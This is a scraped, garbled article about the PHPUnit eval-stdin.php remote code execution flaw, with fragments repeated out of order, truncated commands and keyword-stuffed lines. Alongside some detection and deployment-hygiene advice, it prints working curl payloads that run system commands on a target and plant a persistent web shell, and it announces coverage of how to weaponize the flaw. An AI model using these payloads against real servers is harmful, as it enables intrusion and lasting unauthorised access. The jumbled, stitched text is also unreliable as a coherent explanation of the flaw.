Vendor Phpunit Phpunit Src Util Php Eval-stdin.php Exploit Site
curl -s -X POST http://target.com/path/to/eval-stdin.php -d "<?php echo 'test'; ?>" | grep test Check your access logs for suspicious patterns. Look for POST requests to any path containing phpunit/src/Util/PHP/eval-stdin.php or eval-stdin.php . File System Scan (Server Side) Run this on your web servers:
Check your servers today. Run the find command. That ghost might be lurking in your dependencies, waiting for a POST request. vendor phpunit phpunit src util php eval-stdin.php exploit
This article explores the technical mechanics of the exploit, why it lingers on production servers, how to weaponize it, and most importantly, how to eradicate it permanently. To understand the exploit, we must first understand the target. PHPUnit is the industry standard for unit testing in PHP. In a best-practice environment, Composer (PHP's package manager) installs PHPUnit under the vendor/ directory, specifically vendor/phpunit/phpunit/ . curl -s -X POST http://target
curl -X POST https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ -d "<?php system('id'); ?>" Run the find command
PHPUnit is a fantastic piece of software—for testing . But its presence on a public-facing server represents a catastrophic failure of deployment hygiene. The code inside eval-stdin.php is arguably the most dangerous 79 characters in modern PHP history, because it gives an attacker exactly what they want: a direct pipeline from HTTP to eval() .
curl -X POST https://target.com/eval-stdin.php -d "<?php echo 5*5; ?>" If the response contains 25 , it is 100% vulnerable. The vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php exploit is a masterclass in how a developer convenience tool becomes a production nightmare.
# Writing a web shell to the document root curl -X POST https://target.com/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php \ -d "<?php file_put_contents('shell.php', '<?php system(\$_REQUEST[\"cmd\"]); ?>'); ?>" Now, the attacker can simply visit https://target.com/shell.php?cmd=whoami and maintain access indefinitely, even after the original eval-stdin.php is removed. It has been several years since the CVE was published. Yet, scans still reveal this vulnerability. Why? 1. The "Dev Dependencies in Prod" Anti-Pattern The root cause is deploying composer with the --dev flag or not using --no-dev in production. Many developers run composer install (which installs everything) on a live server. PHPUnit, being a require-dev dependency by default, ends up in the public web root. 2. Automated Scanners and Botnets Script kiddies and botnets don't check version numbers. They blindly spray payloads at this endpoint. Even if the PHPUnit version is patched, if the file exists, they will attempt the exploit. 3. Misconfigured Web Roots In many shared hosting or poorly configured nginx/Apache setups, the web root points to the project root (where vendor/ lives) instead of a /public subdirectory. This exposes every vendor file to the world. 4. Backup or Legacy Systems A developer copies a legacy project from five years ago. The lock file says phpunit/phpunit: 4.5.0 . They upload it, and the vulnerability is instantly live. Part 4: Detection – How to find this on your network If you are a Blue Teamer or a system administrator, you need to identify this flaw. Web Application Scanning Use nmap with its http-vuln-cve2017-9841 script:
